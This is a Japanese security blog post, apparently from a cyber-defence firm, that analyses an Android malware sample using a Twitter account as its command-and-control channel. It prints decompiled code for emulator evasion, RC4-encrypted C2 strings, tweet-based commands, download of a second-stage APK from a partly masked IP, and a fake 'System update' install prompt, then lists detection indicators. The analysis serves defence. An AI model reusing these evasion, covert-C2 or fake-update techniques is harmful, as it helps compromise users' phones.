読者です 読者をやめる 読者になる 読者になる

DARK MATTER

CDI Engineer's Technical Blog

twitterアカウントをC2サーバ代わりにするAndroidマルウェアの中身を覗く

こんにちは。情報分析部の西脇です。

前回からの連載に割り込んでしまう形になりますが、今回の投稿ではtwitterアカウントをC2(コマンド&コントロール)サーバ代わりにするAndroidマルウェアの仕組みを調査してみたいと思います。

今回扱うマルウェアが発見されたのは昨年の8月で、 こちらの記事によるとtwitterアカウントをC2サーバ代わりにするマルウェア自体は2009年から存在するようですが、Androidマルウェアとしては初めて観測されたと報じられています。

twitterのアカウントをC2サーバ代わりに利用されると、

  • twitter自体は通常のwebサービスなので、悪意のある通信だと気づきにくい
  • C2サーバを変更する・増やすことが容易(アカウントを新規作成すればよい)

などといった理由でマルウェアが発見しづらく、長期間感染している状態になってしまいかねません。

また、今回扱うマルウェアは感染した端末にほかのマルウェアをダウンロードする機能を持つため、知らない間に複数のマルウェアに感染してしまっていた、ということも起こり得ます。

そのため、今回発見されたマルウェアはどのようにtwitterアカウントをC2サーバとして利用しているのか、また、対策に役立つ特徴があるかに着目してマルウェアの仕組みを探っていきたいと思います。

逐一コードを追っていきますので、実装ではなく仕組みを簡潔に知りたい方はまとめの項をお読みください。

今回調査するマルウェア

今回発見されたマルウェアついては、記事中では複数存在することが報じられていますが、挙動はほぼ同じため以下のものを選択しました。

SHA1 : aff9f39a6ca5d68c599b30012d79da29e2672c6e
アプリ名 : MMS Центр (Обновлено2)

AndroidManifestからわかること

Androidアプリケーションは、AndroidManifest.xmlというファイルにエントリーポイントやアプリの権限などが定義されているので、まずはじめにAndroidManifestを見てどういう動きをするかざっくりと確認します。

今回のマルウェアはパッキングなど解析を困難にするような処理は行われていなかったので、比較的簡単にファイル群を復元することができました。そのため、ここではどのようにapkファイル(Androidの実行ファイル)からxmlファイルやclassファイルなどを取り出すかは本題ではないので割愛させていただきます。

以下が復元できたAndroidManifestファイルです。

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="internalOnly" package="jackfw.cwuvej.npymwx" platformBuildVersionCode="22" platformBuildVersionName="5.1.1-1819727">
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <application android:icon="@mipmap/ic" android:label="@string/epgcoe_lpwezj" android:theme="@android:style/Theme.Translucent.NoTitleBar">
        <activity android:exported="true" android:name="jackfw.cwuvej.npymwx.Apzivsd4">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <receiver android:enabled="true" android:exported="true" android:name="jackfw.cwuvej.npymwx.Aembiws2">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
                <action android:name="android.intent.action.SCREEN_ON"/>
                <category android:name="android.intent.category.HOME"/>
            </intent-filter>
        </receiver>
        <receiver android:exported="true" android:name="jackfw.cwuvej.npymwx.Axbijkr1"/>
        <service android:exported="true" android:name="jackfw.cwuvej.npymwx.Avdtajs0"/>
    </application>
</manifest>

users-permissionで定義されているのはこのアプリケーションが必要とする権限です。ここでは、

  • RECEIVE_BOOT_COMPLETED … システム起動完了の通知を得る権限
  • WRITE_EXTERNAL_STORAGE … 外部ストレージへの書き込み権限
  • READ_EXTERNAL_STORAGE … 外部ストレージの読み取り権限
  • GET_TASKS … タスク情報を取得する権限
  • INTERNET … インターネットへ接続する権限
  • READ_PHONE_STATE … 電話のステータスを読み取る権限
  • WAKE_LOCK … スリープから復帰する機能をアプリ側から利用できる権限

が定義されています*1

そして、以下のapplication内のactivityで指定されている"jackfw.cwuvej.npymwx.Apzivsd4"クラスがこのアプリケーションのエントリーポイントです。

        <activity android:exported="true" android:name="jackfw.cwuvej.npymwx.Apzivsd4">
        (略)
        </activity>

また、その下にあるrecieverで指定されている"jackfw.cwuvej.npymwx.Aembiws2"は、入れ子で定義されているintent-filterの条件が満たされると呼ばれるクラスです。ここでは

        <receiver android:enabled="true" android:exported="true" android:name="jackfw.cwuvej.npymwx.Aembiws2">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.QUICKBOOT_POWERON"/>
                <action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
                <action android:name="android.intent.action.SCREEN_ON"/>
                <category android:name="android.intent.category.HOME"/>
            </intent-filter>
        </receiver>
  • BOOT_COMPLETED … システム起動が完了したとき
  • QUICKBOOT_POWERON … システム起動が完了したとき(メーカーがHTCのAndroid端末はBOOT_COMPLETEDのかわりにこちらが発行される)
  • EXTERNAL_APPLICATIONS_AVAILABLE … 外部ストレージにあるアプリケーションが使えるようになったとき(外部ストレージがマウントされたときなどに発行される)
  • SCREEN_ON … 画面がONになったとき

が定義されています*2

上記のことから、このアプリは実行するとはじめにjackfw.cwuvej.npymwxパッケージのApzivsd4クラスが呼ばれ、再起動したり画面がONになったりするとjackfw.cwuvej.npymwxパッケージのAembiws2クラスが呼ばれることがわかり、常駐するアプリだということがわかります。

アプリ実行時の挙動

先ほども述べたように、ユーザーが本アプリを実行すると以下のApzivsd4クラスのonCreate関数が呼ばれます。詳細は割愛しますが、AndroidのActivityクラスのライフサイクル*3上で一番はじめに実行される関数となるため、アプリケーションが実行されるとまずはじめにこのonCreate関数が実行されることになります。

package jackfw.cwuvej.npymwx;

import android.annotation.SuppressLint;
(略)
import e;

@SuppressLint({"SetJavaScriptEnabled"})
public class Apzivsd4
  extends Activity
{
  WebView jdField_a_of_type_AndroidWebkitWebView;
  private RelativeLayout jdField_a_of_type_AndroidWidgetRelativeLayout;
  
  @TargetApi(11)
  private void a(WebView paramWebView)
  {
    paramWebView = paramWebView.getSettings();
    paramWebView.setJavaScriptEnabled(true);
    paramWebView.setJavaScriptCanOpenWindowsAutomatically(true);
    paramWebView.setAllowFileAccess(true);
    paramWebView.setDefaultTextEncodingName("utf-8");
    paramWebView.setUseWideViewPort(false);
    paramWebView.setLoadWithOverviewMode(true);
    paramWebView.setCacheMode(1);
    if (Build.VERSION.SDK_INT >= 17) {
      paramWebView.setAllowUniversalAccessFromFileURLs(true);
    }
  }
  
  public void onBackPressed()
  {
    moveTaskToBack(true);
    finish();
  }
  
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968576);
    this.jdField_a_of_type_AndroidWidgetRelativeLayout = ((RelativeLayout)findViewById(2131099648));
    paramBundle = getApplicationContext();
    e.a();
    StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
    if (!e.a(paramBundle))
    {
      if (d.b == true) {
        e.a(paramBundle, true);
      }
      e.a(paramBundle);
      e.a(paramBundle, d.p, Integer.parseInt(d.e));
      e.a(paramBundle, d.q, "0");
      e.a(paramBundle, d.r, d.c);
      e.a(paramBundle, d.v, 0);
      e.a(paramBundle, d.w, 0);
    }
    RelativeLayout.LayoutParams localLayoutParams = new RelativeLayout.LayoutParams(-2, -2);
    localLayoutParams.addRule(10);
    localLayoutParams.addRule(12);
    localLayoutParams.addRule(9);
    localLayoutParams.addRule(11);
    this.jdField_a_of_type_AndroidWebkitWebView = new WebView(this);
    this.jdField_a_of_type_AndroidWebkitWebView.setClickable(true);
    this.jdField_a_of_type_AndroidWebkitWebView.setLayoutParams(localLayoutParams);
    this.jdField_a_of_type_AndroidWidgetRelativeLayout.addView(this.jdField_a_of_type_AndroidWebkitWebView);
    paramBundle = e.c(paramBundle, d.u);
    a(this.jdField_a_of_type_AndroidWebkitWebView);
    this.jdField_a_of_type_AndroidWebkitWebView.setWebChromeClient(new WebChromeClient());
    this.jdField_a_of_type_AndroidWebkitWebView.loadDataWithBaseURL(d.s, paramBundle, d.t, "utf-8", null);
  }
  
  public void onSaveInstanceState(Bundle paramBundle)
  {
    super.onSaveInstanceState(paramBundle);
  }
}

デコンパイルしたソースコードなので読みにくいところもありますが、Androidアプリ開発者には見慣れた構成かと思います。

onCreate関数の中でも注目すべきなのは以下の部分です。

    if (!e.a(paramBundle))
    {
      if (d.b == true) {
        e.a(paramBundle, true);
      }
      e.a(paramBundle);
      e.a(paramBundle, d.p, Integer.parseInt(d.e));
      e.a(paramBundle, d.q, "0");
      e.a(paramBundle, d.r, d.c);
      e.a(paramBundle, d.v, 0);
      e.a(paramBundle, d.w, 0);
    }

ここで、dクラスは以下の通り、暗号化された定数や変数が定義されたクラスです。実際には、e.c関数によって復号された状態で保持されています。 e.c関数内部では、dクラス内のjdField_a_of_type_JavaLangString(=12321322869)を鍵とした共通鍵暗号方式(RC4)で暗号化された文字列を復号しています。

public class d
{
  public static String a;
  public static boolean a;
  public static String b;
  public static boolean b;
  public static final String f = e.c("5dPbC4LS"); // ... "meta"
  public static final String g = e.c("5Y6OT9PAbvGYtDsxJChCQI0="); // ... "000000000000000"
  public static final String h = e.c("5dnREIScO57b4GAj"); // ... "google_sdk"
  public static final String i = e.c("5fvTCo+RKq7apg=="); // ... "Emulator"
  public static final String j = e.c("5f/QG5GfN6WI109KNg=="); // ... "Android SDK"
  public static final String k = e.c("5dnbEYaCN6KK"); // ... "generic"
  public static final String l = e.c("5cvQFI2fKa+K"); // ... "unknown"
  public static final String m = e.c("5f/QG5GfN6WI109KNHoHGcNbxcOzZ57tl8xC"); // ... "Android SDK built for x86"
  public static final String n = e.c("5fnbEZqdMbXB62Uj"); // ... "Genymotion"
  public static final String o = e.c("5d/OD4+ZPaDc7WRvO24cFIFOi8GuetfxgYoBFpvdd3hr0YvJVkQPm5E="); // ... "application/vnd.android.package-archive"
  public static final String p = e.c("5d3WGoCbLLTGpg=="); // ... "checkrun"
  public static final String q = e.c("5crJFpeZOqKK"); // ... "twitidc"
  public static final String r = e.c("5dnfC4bS"); // ... "gate"
  public static final String s = e.c("5djXE4bKce6H5WVlZncbFPBOlta5YZG3"); // ... "file:///android_asset/"
  public static final String t = e.c("5crbB5ffNrXF6Ck="); // ... "text/html"
  public static final String u = e.c("5dfQG4aIcKnc6Wcj"); // ... "index.html"
  public static final String v = e.c("5d/OFIqeLbXJ6GdkcDo="); // ... "apkinstalled"
  public static final String w = e.c("5d/OFIqeLbXJ6GdkcHsdBcFbxw=="); // ... "apkinstalledcount"
  public static final String x = e.c("5fHNOo2GN7PH6mZkemxQ"); // ... "OsEnvironment"
  public static final String y = e.c("5dfQDJeRMq3Y5WhqdX8XUg=="); // ... "installpackage"
  
  static
  {
    jdField_a_of_type_JavaLangString = "12321322869";
    jdField_b_of_type_JavaLangString = e.c("5Y+QT83CfA=="); // ... "1.0.2"
    jdField_a_of_type_Boolean = true;
    c = e.c("5dbKC5ODZO6H6SV1Y3EGBMpdy8azeJHmy50TEZfYdnp1kg=="); // ... "https://m.twitter.com/sdgsdgdfg3"
    d = e.c("5ZzYHNrGbveK"); // ... "fc9606"
    e = e.c("5YuOXQ=="); // ... "50"
    jdField_b_of_type_Boolean = true;
  }
}

これを先ほどのif文内にまとめると、以下のような動作になります。

    if (!e.a(paramBundle))  //... Shared Preferenceのd.vがなかったらtrueになってかえってくる
    {
      if (d.b == true) { //... d.b(=jdField_b_of_type_Boolean) がtrueの場合
        e.a(paramBundle, true); //...このActivityを無効にする(ホーム画面やアプリ一覧画面などにアプリアイコンを表示させない)
      }
      e.a(paramBundle); //... C2アカウントとの通信を定期的にするようサービスを開始する(後ほどレシーバの項で詳解します)
      e.a(paramBundle, d.p, Integer.parseInt(d.e)); //...SharedPreferencesを利用してd.p(=checkrun)キーのバリューにd.e(=50)と書き込む
      e.a(paramBundle, d.q, "0"); //... 同じくtwitidcキーに0と書き込む
      e.a(paramBundle, d.r, d.c); //... 同じくgateキーに"https://m.twitter.com/sdgsdgdfg3"と書き込む
      e.a(paramBundle, d.v, 0); //... 同じくapkinstalledキーに0と書き込む
      e.a(paramBundle, d.w, 0); //... 同じくapkinstalledcountキーに0と書き込む
    }

ここで、SharedPreferencesとは、Androidデバイス内に情報を保存しておく仕組みで、キーバリュー形式でxmlファイルとして情報が保存されます。 今回は動的解析は行っていませんが、Androidマルウェア解析サービスであるKoodousのレポートによると、本アプリを動的解析実行すると確かに以下のようなファイルが作成されるようです*4

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="apkinstalledcount" value="0" />
<int name="apkinstalled" value="0" />
<int name="checkrun" value="50" />
<string name="gate">https://m.twitter.com/sdgsdgdfg3</string>
<string name="twitidc">0</string>
</map>

ファイルパスは/data/data/jackfw.cwuvej.npymwx/shared_prefs/meta.xmlで、後ほどの動作の際に利用されます。

そしてこのonCreate関数では最終的に

// d.s = "file:///android_asset/"、paramBundle = "index.html"、d.t = "text/html" なのでアセット内のindex.htmlが開く
this.jdField_a_of_type_AndroidWebkitWebView.loadDataWithBaseURL(d.s, paramBundle, d.t, "utf-8", null);

でWebViewが開き、アプリ内蔵の以下のhtmlが表示されます。

<html>
<body>
<h1 style="font-size:300%;">Error</h1>
</body>
</html>

アプリ起動時、ユーザーから見えるアプリの挙動はこのくらいです。しかしながら、Manifestファイルにあるように、特定の条件が満たされるとインテントを受けとるレシーバがあるので、実際は裏で引き続き動いていることになります。

レシーバ・サービスの挙動

このアプリは、Manifestファイルに記載されていたように、

  • BOOT_COMPLETED … システム起動が完了したとき
  • QUICKBOOT_POWERON … システム起動が完了したとき(メーカーがHTCのAndroid端末はBOOT_COMPLETEDのかわりにこちらが発行される)
  • EXTERNAL_APPLICATIONS_AVAILABLE … 外部アプリケーションが使えるようになったとき
  • SCREEN_ON … スクリーンがONになったとき

のタイミングでAembiws2クラスのonReceive関数が実行されることになります。

package jackfw.cwuvej.npymwx;

import android.content.BroadcastReceiver;
(略)
import e;

public class Aembiws2
  extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Toast.makeText(paramContext, "Инициализация...", 1).show(); // Инициализация...(初期化...)とトーストが出る
    if (!e.a(paramContext)) {
      e.a(paramContext);
    }
  }
}

onReceive関数内では、トーストと呼ばれるポップアップのようなインターフェースで「нициализация…」(ロシア語で初期化という意味)と表示された後、if文で以下の関数を呼び出して返り値を評価しています。

  public static boolean a(Context paramContext)
  {
    boolean bool2 = false;
    boolean bool1 = bool2;
    int i;
    if (!d.jdField_a_of_type_Boolean)
    {
      // ... エミュレータだとgetDeviceIdで帰ってくるのが"000000000000000"なのでその値を見ています
      bool1 = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId().equals(d.g);
      if ((!Build.MODEL.contains(d.h)) && (!Build.MODEL.contains(d.i)) && (!Build.MODEL.contains(d.j))
          && (!Build.FINGERPRINT.startsWith(d.k)) && (!Build.FINGERPRINT.startsWith(d.l)) && (!Build.MODEL.contains(d.m))
          && (!Build.MANUFACTURER.contains(d.n))) //... このへんもエミュレータか実機かで設定値が違う部分です
      {
        break label163;
      }
      i = 1;
      if ((!Build.BRAND.startsWith(d.k)) || (!Build.DEVICE.startsWith(d.k))) {
        break label168;
      }
    }
    label163:
    label168:
    for (int j = 1;; j = 0)
    {
      if ((!bool1) && (i == 0))
      {
        bool1 = bool2;
        if (j == 0) {}
      }
      else
      {
        bool1 = true;
      }
      return bool1;
      i = 0;
      break;
    }
  }

この関数は以下の情報を見てアプリが動いているのがエミュレータ上かどうかを判定している関数です。

  • デバイスID … エミュレータの場合:000000000000000
  • モデル名 … エミュレータの場合:google_sdk, Emulator, Android SDK, Android SDK built for x86 など
  • フィンガープリント… エミュレータの場合:generic, unknownなど
  • 製造者名 … エミュレータの場合:Genymotion(オープンソースで開発されているAndroidエミュレータ)*5など

つまり、エミュレータでこのアプリを動かしても、さきほどのif文内に入らないため、マルウェア本来の動きはしないことになります。

実機上で動かすなどでif文内に入ると、以下の関数が実行されます。この関数はアプリを起動してActivityが実行される際にも呼び出されていた関数です。

  public static void a(Context paramContext)
  {
    if (Build.VERSION.SDK_INT >= 19)
    {
      PendingIntent localPendingIntent = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, Axbijkr1.class), 268435456);
      ((AlarmManager)paramContext.getSystemService("alarm")).setInexactRepeating(0, Calendar.getInstance().getTimeInMillis(), 60000L, localPendingIntent);
      return;
    }
    paramContext.startService(new Intent(paramContext, Avdtajs0.class));
  }

SDKバージョン(API level 19 = Android4.4 以上かどうか)ごとに定期実行部分の実装を分けていますが、Axbijkr1クラス内でもAvdtajs0クラス内でも同様に以下の関数が定期実行されるようサービスを開始します。この関数がマルウェアとC2との通信のふるまいがほぼすべて記述してある重要な関数となります。

  static void b(Context paramContext)
  {
    String str1 = b(paramContext, d.r);
    Object localObject2 = new ArrayList(Arrays.asList(b(a(str1)).split("\\|\\|\\|")));
    Object localObject7 = new BigInteger(b(paramContext, d.q));
    new BigInteger("0");
    Object localObject1 = new BigInteger("0");
    Integer localInteger = Integer.valueOf(0);
    Iterator localIterator = ((List)localObject2).iterator();
    localObject2 = "";
    Object localObject3;
    if (localIterator.hasNext())
    {
      localObject3 = (String)localIterator.next();
      for (;;)
      {
        try
        {
          Object localObject5 = ((String)localObject3).replace(d.d, "");
          localObject3 = ((String)localObject5).substring(1);
          String str2 = ((String)localObject5).substring(0, 1);
          localObject3 = new ArrayList(Arrays.asList(((String)localObject3).split("\\?\\?\\?")));
          localObject5 = new BigInteger((String)((List)localObject3).get(1));
          if (((BigInteger)localObject5).compareTo((BigInteger)localObject7) != 1) {
            continue;
          }
          localObject3 = (String)((List)localObject3).get(0);
          try
          {
            int i = Integer.parseInt(str2);
            localObject2 = localObject3;
            localInteger = Integer.valueOf(i);
            localObject1 = localObject5;
          }
          catch (Exception localException2)
          {
            localObject2 = localObject3;
          }
        }
        catch (Exception localException1)
        {
          Object localObject4;
          Object localObject6 = localException1;
          continue;
        }[f:id:cdi-nishiwaki:20170130162127p:plain]
        a(localException2.toString());
      }
    }
    if (((BigInteger)localObject1).compareTo(new BigInteger("0")) == 1) {
      a(paramContext, d.q, ((BigInteger)localObject1).toString());
    }
    try
    {
      localObject7 = new String(new a(d.jdField_a_of_type_JavaLangString.getBytes("UTF-8")).a(Base64.decode((String)localObject2, 0)), "UTF-8");
      a(((BigInteger)localObject1).toString());
      a((String)localObject7);
      if (localInteger.intValue() == 1)
      {
        localObject6 = new JSONObject((String)localObject7);
        localObject2 = "";
      }
      try
      {
        localObject3 = ((JSONObject)localObject6).getString("pkg");
        localObject2 = localObject3;
        localObject6 = ((JSONObject)localObject6).getString("url");
        localObject2 = localObject6;
      }
      catch (JSONException localJSONException)
      {
        for (;;)
        {
          localObject4 = localObject2;
          localObject2 = "";
        }
      }
      a((String)localObject2);
      if (((String)localObject2).startsWith("http"))
      {
        localObject6 = a(paramContext, (String)localObject2, "tmp.apk");
        if (((String)localObject6).length() > 0)
        {
          a(paramContext, d.q, ((BigInteger)localObject1).toString());
          a((String)localObject6);
          if ((str1.length() > 0) && (((String)localObject3).length() > 0))
          {
            a(paramContext, (String)localObject2);
            a(paramContext, d.y, (String)localObject3);
            a(paramContext, d.v, 1);
            a(paramContext, d.w, 15);
          }
        }
      }
      if ((localInteger.intValue() == 2) && (((String)localObject7).startsWith("http")))
      {
        a(paramContext, d.q, ((BigInteger)localObject1).toString());
        a(paramContext, d.r, (String)localObject7);
      }
      if ((localInteger.intValue() == 3) && (((String)localObject7).startsWith("http")))
      {
        a(paramContext, d.q, ((BigInteger)localObject1).toString());
        a(paramContext, (String)localObject7, "tmp");
      }
      return;
    }
    catch (Exception paramContext) {}
  }

長いので細かく分けて読んでゆきます。まず以下の部分で、ツイッターへとアクセスするようです。

    String str1 = b(paramContext, d.r); // ... SharedPreferencesのd.rキーの値を読みだしている
    Object localObject2 = new ArrayList(Arrays.asList(b(a(str1)).split("\\|\\|\\|"))); // ... ツイートの内容をパース
    Object localObject7 = new BigInteger(b(paramContext, d.q)); // ... SharedPreferencesのd.qキーの値を読みだしている

ここで、先ほど外部ストレージに書き込まれた以下のファイルが使われます。

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="apkinstalledcount" value="0" />
<int name="apkinstalled" value="0" />
<int name="checkrun" value="50" />
<string name="gate">https://m.twitter.com/sdgsdgdfg3</string>
<string name="twitidc">0</string>
</map>

str1には、書き込まれたファイル中のd.r(“gate”)の値、つまり “https[:]//m.twitter.com/sdgsdgdfg3” が入ります。そして次の行のa関数でURLへアクセスし、そのレスポンス(HTML構造)をb関数内でjsoupライブラリ(HTML構造をパースできるJavaライブラリ)*6を利用してパースし、ツイートとツイートのid(ツイートを一意に特定できるようわり振られているid)を"???“で連結した文字列をリストにしてlocalObject2へ代入しています。 localObject7にはファイル内のd.q="twitidc"の値が入ります(初回は0)。

次に、以下の部分でツイートの内容を整形しているようです。

          Object localObject5 = ((String)localObject3).replace(d.d, ""); // ... d.d(=fc9606)という文字列をツイートから除去
          localObject3 = ((String)localObject5).substring(1); // ... 頭文字1つを除去したのこりを代入
          String str2 = ((String)localObject5).substring(0, 1); // ... 頭文字1つを代入

そして以下の部分で、今までチェックしたことのあるツイートかどうかを判定しています。

          localObject3 = new ArrayList(Arrays.asList(((String)localObject3).split("\\?\\?\\?"))); // ... ここでツイートidとツイート本文を分割
          localObject5 = new BigInteger((String)((List)localObject3).get(1)); // ... ツイートidのほうを代入
          // ... SharedPreferencesに書き込まれていたツイートidと比較して一致していなければ(見たことがあるツイートでなければ)続けて次のツイートも確認する
          if (((BigInteger)localObject5).compareTo((BigInteger)localObject7) != 1) {
            continue;
          }

次に、以下の部分でツイートの内容を意味のある文字列へと復号しています。 ツイート文の暗号化方式も、その他C2アカウントなどの文字列が暗号化されていた方式と同様に共通鍵暗号方式(RC4)でした。 C2アカウント文字列の復号の際に利用されていたe.c関数はここでは使われていませんが同じことをしています。

    try
    {
      // ... ツイート文を復号
      localObject7 = new String(new a(d.jdField_a_of_type_JavaLangString.getBytes("UTF-8")).a(Base64.decode((String)localObject2, 0)), "UTF-8");
      a(((BigInteger)localObject1).toString());
      a((String)localObject7);
      if (localInteger.intValue() == 1) // ... ツイートの頭文字の数字が「1」の時は内容をJSONとしてパースする
      {
        localObject6 = new JSONObject((String)localObject7);
        localObject2 = "";
      }

ここで、実際に得られたURLへアクセスしたところ、2017年1月17日時点で以下のようなツイートが観測できました。 f:id:cdi-nishiwaki:20170130162127p:plain

そこで、このツイート本文を

  • “fc9606"という文字列をツイート本文から除去
    • 残念ながら手に入れた検体が実際に活動していた時期と現在得られたツイートとが合っていないのか、除去すべき文字列は"fc9606"ではなく"c31b32"に変わっているようでした
  • のこった本文から頭文字1つ(数字)も除去
  • 内部の復号関数で復号

という判明した手順で復号してみたところ、以下のような文字列を得ることができました。

{url:http:\/\/155.133.**.**\/mms.apk,pkg:latbdx.qighvc.yazhqk}

次に、ツイートの定義された文字列を本文から除去した後の頭文字1つの数字は「1」であったため、上記の文字列がJSON構造として以下のようにパースされます。

      try
      {
        localObject3 = ((JSONObject)localObject6).getString("pkg");
        localObject2 = localObject3;
        localObject6 = ((JSONObject)localObject6).getString("url");
        localObject2 = localObject6;
      }
      catch (JSONException localJSONException)
      {
        for (;;)
        {
          localObject4 = localObject2;
          localObject2 = "";
        }
      }
      a((String)localObject2);
      if (((String)localObject2).startsWith("http")) // ... JSON構造のurlキーのバリューがhttpで始まっていた場合
      {
        // ... URLの内容を、tmp.apkという名前で保存し、保存先のパスをlocalObject6へ代入
        localObject6 = a(paramContext, (String)localObject2, "tmp.apk")
        if (((String)localObject6).length() > 0)
        {
          a(paramContext, d.q, ((BigInteger)localObject1).toString()); // ... SharedPreferencesのd.q(=twitidc)キーにlocalObject1(=ツイートid)を書き込む
          a((String)localObject6); // ... 保存したファイルパスをデバッグログに出す
          if ((str1.length() > 0) && (((String)localObject3).length() > 0)) // ... str1(ツイートアカウントへのurl)が空ではないかつJSON構造のpkgの値が空ではない場合
          {
            a(paramContext, (String)localObject2); // ... 後述
            a(paramContext, d.y, (String)localObject3); // ... SharedPreferencesのd.y (=installpackage)キーにlocalObject3(=JSON構造のpkgキーの値)を書き込む
            a(paramContext, d.v, 1); // ... 同じkくapkinstalledキーに1を書き込む
            a(paramContext, d.w, 15); // ... 同じくapkinstalledcountに15を書き込む
          }
        }
      }

JSON構造をパースした結果、urlとpkgが含まれていた場合、上記の「後述」と記載した部分で以下の関数が呼ばれます。

  static String a(Context paramContext, String paramString)
  {
    Object localObject = new Intent("android.intent.action.VIEW");
    ((Intent) (localObject)).setDataAndType(Uri.fromFile(new File(paramString)), d.o); // ... このインテントが発行されるとさきほどのapkのインストール画面へになるよう設定
    ((Intent) (localObject)).setFlags(0x10000000);
    PendingIntent localpendingintent = PendingIntent.getActivity(paramContext, (int)System.currentTimeMillis(), ((Intent) (localObject)), 0);
    localObject = (NotificationManager)paramContext.getSystemService("notification");
    if(android.os.Build.VERSION.SDK_INT >= 16)
    {
      paramContext = new android.app.Notification.Builder(paramContext);
      paramContext.setContentTitle("Системное обновление"); // ... 通知に"System update"というタイトルを設定
      paramContext.setContentText("Нажмите чтобы установить!").setSmallIcon(0x7f020000); // ... "Click to install!" というメッセージ文を設定
      paramContext.setContentIntent(localpendingintent); // ... 通知を選択すると発行されるインテントを設定
      paramContext.setAutoCancel(true);
      paramContext = paramContext.build();
    } else
    {
      paramString = new Notification(0x7f030000, "Нажмите чтобы установить!", 0L);
      paramString.setLatestEventInfo(paramContext, "Системное обновление", "Нажмите чтобы установить!", loalPendingIntent);
      paramString.flags = 16;
      paramContext = paramString;
    }
      ((NotificationManager) (localObject)).notify(0, paramContext); // ... ステータスバーに通知を出す
      return "";
  }

この関数内では、ステータスバーにロシア語で「System update」というタイトルの「Click to install!」という本文で通知を出します。 そして、この通知をユーザーがタップしてしまうと、ダウンロードしてきたtmp.apkのインストール画面へと遷移するように設定されています。

通知時のアイコンは以下のようにGoogle Playのアイコンまたは本アプリのアイコンを使用しており、いかにも公式アプリからのアップデート通知かのように装われています。

SDKバージョン16(OSバージョン4.1)以上 16未満
f:id:cdi-nishiwaki:20170130162232p:plain f:id:cdi-nishiwaki:20170130162235p:plain

また、ツイート本文の頭文字1文字が1以外の場合は以下の通り、

      if ((localInteger.intValue() == 2) && (((String)localObject7).startsWith("http")))
      {
        a(paramContext, d.q, ((BigInteger)localObject1).toString());
        a(paramContext, d.r, (String)localObject7);
      }
      if ((localInteger.intValue() == 3) && (((String)localObject7).startsWith("http")))
      {
        a(paramContext, d.q, ((BigInteger)localObject1).toString());
        a(paramContext, (String)localObject7, "tmp");
      }

「2」の場合はC2サーバ変更(外部ファイルのgateの値を書き換える)、「3」の場合はURL先のファイルを「tmp」というファイル名で保存する、という動作をするようです。

まとめ

今回扱った検体は、

  • 実行するとその後常駐し、定期的にツイッターのC2アカウントをチェック(ポーリング)
  • twitterのC2アカウントのモバイル版ページへアクセス
  • twitterのHTML構造をパースし、ツイート本文を取得
  • ツイート本文から特定の文字列を除去した文字列のうち、頭文字1文字がコマンドとして機能
  • コマンドは3種類
コマンド 内容
1 URL先の内容をtmp.apkとして保存・ステータスバーに通知を出してユーザーにインストールを促す
2 C2アカウントを変更する
3 URL先の内容をtmpとして保存

という動作をすることがわかりました。 上記から、今回調査した検体に類似するマルウェアを発見するためには、

  • 本文中に出てきたようなxmlファイルが作成されている
  • アプリのアップデートがあるといった内容の通知で別のアプリのインストールを促される
  • 覚えのない特定のtwitterアカウントへ定期的にアクセスしている

などの振る舞いに気づければ発見することができそうです。

今回のマルウェアは、ユーザーに見える部分は基本的にロシア語であることから、ロシア語圏で拡散させることを目的にしたボットネットなのではないかと思われます。

しかし、日本語に対応したAndroidランサムウェアの被害報告も出ていることから、今後このようなボットネットも日本語に対応し、国内で流行しないとも限りません。

中学生や高校生から高齢の方までモバイル端末を利用している現代において、今後もAndroidマルウェアの脅威は増してゆくと予想される中、今回の記事の内容がどこかで少しでも役立てば幸いです。

株式会社サイバーディフェンス研究所 / Cyber Defense Institute Inc.